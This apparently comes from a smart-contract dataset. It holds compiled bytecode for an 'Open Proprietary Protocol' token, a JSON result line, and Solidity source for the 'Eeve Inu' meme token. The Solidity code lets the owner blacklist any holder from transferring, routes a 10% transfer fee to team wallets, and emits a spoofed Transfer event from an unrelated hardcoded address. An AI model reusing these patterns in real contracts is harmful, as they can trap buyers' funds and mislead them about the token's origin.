080fd5b506108b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ae8565b604051808215151515815260200191505060405180910390f35b3480156108de57600080fd5b506108fd60048036038101908080359060200190929190505050611bb1565b604051808215151515815260200191505060405180910390f35b34801561092357600080fd5b50610962600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e32565b604051808215151515815260200191505060405180910390f35b34801561098857600080fd5b506109c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f15565b604051808215151515815260200191505060405180910390f35b3480156109ed57600080fd5b50610a42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612111565b6040518082815260200191505060405180910390f35b348015610a6457600080fd5b50610aa6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050612198565b604051808215151515815260200191505060405180910390f35b348015610acc57600080fd5b50610b01600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061240b565b604051808215151515815260200191505060405180910390f35b348015610b2757600080fd5b50610b69600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291905050506125b1565b604051808215151515815260200191505060405180910390f35b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610be157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610c1d57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167ff285329298fd841af46eb83bbe90d1ebe2951c975a65b19a02f965f842ee69c560405160405180910390a260019050919050565b60066020528060005260406000206000915054906101000a900460ff1681565b6040805190810160405280601981526020017f4f70656e2050726f70726965746172792050726f746f636f6c0000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600381600381101515610e0e57fe5b016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60009054906101000a900460ff161580610e9f57503373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1515610eaa57600080fd5b83600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f0457600080fd5b33600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5e57600080fd5b610f698686866127c5565b925050509392505050565b60096020528060005260406000206000915054906101000a900460ff1681565b601260ff16600a0a63b2d05e000281565b601281565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561100857600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561106057600080fd5b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fb24e6647db2742a3439d0a374e892f89a5a8f4619d2f5c5ed911d39a2516a47c6000604051808215151515815260200191505060405180910390a2600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156111bd57600080fd5b600a60009054906101000a900460ff1615156111d857600080fd5b6000600a60006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1600a60009054906101000a900460ff16905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600a60009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156113e6576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147a565b6113f98382612b7f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156115c457600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561161d57600080fd5b6001600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fb24e6647db2742a3439d0a374e892f89a5a8f4619d2f5c5ed911d39a2516a47c6001604051808215151515815260200191505060405180910390a2600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561177a57600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561185b57600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156118b357600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faab7954e9d246b167ef88aeddad35209ca2489d95a8aeb59e288d9b19fae5a5460405160405180910390a2600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611a0057600080fd5b600a60009054906101000a900460ff16151515611a1c57600080fd5b6001600a60006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1600a60009054906101000a900460ff16905090565b6040805190810160405280600381526020017f4f5050000000000000000000000000000000000000000000000000000000000081525081565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611b4257600080fd5b82600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611b9b57600080fd5b611ba58484612b98565b50600191505092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611c0f57600080fd5b611c2482600154612d5390919063ffffffff16565b601260ff16600a0a63b2d05e000210151515611c3f57600080fd5b611c5482600154612d5390919063ffffffff16565b600181905550611ccd82600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5390919063ffffffff16565b600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a2600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b6000600a60009054906101000a900460ff161580611e9d57503373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1515611ea857600080fd5b33600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611f0257600080fd5b611f0c8484612d6f565b91505092915050565b6000611fa682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156121f657600080fd5b600360ff168260ff1610151561220b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561224757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660038360ff1660038110151561227157fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156122b557600080fd5b60001515600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561231457600080fd5b6001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508260038360ff1660038110151561237f57fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff167fb2bea1aacb52292e22554458b37393c5c9afbdc4bb5edddf26805d0ad791005a60405160405180910390a26001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561246957600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156124c257600080fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fffa4e6181777692565cf28528fc88fd1516ea86b56da075235fa575af6a4b85560405160405180910390a2600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561260f57600080fd5b600360ff168260ff1610151561262457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561266057600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1660038360ff1660038110151561268957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156126cd57600080fd5b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060038360ff1660038110151561273957fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff167f560f25f18d7de8bf147a02a300cdcfd8c47e2ca258b2ead7d9e331f29ee488d960405160405180910390a26001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561280257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561284f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156128da57600080fd5b61292b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129be826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a8f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000828211151515612b8d57fe5b818303905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612be757600080fd5b612c38826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c8f82600154612b7f90919063ffffffff16565b6001819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008183019050828110151515612d6657fe5b80905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612dac57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612df957600080fd5b612e4a826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612edd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820858bdf104e0c481d90673c2b85799accc45c75f530d0f35d17959e9713f3791e0029
{"success": true, "error": null, "results": {}}
3,146
0xc3a9b0ad0338b698f1fdc6d98934b3e401aeb258
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EeveeInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Eeve Inu"; string private constant _symbol = "EEVEE"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0x05D01a4D50Eddc453290D5F5054F69d41ECF0B53), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 1; _teamFee = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 1; _teamFee = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
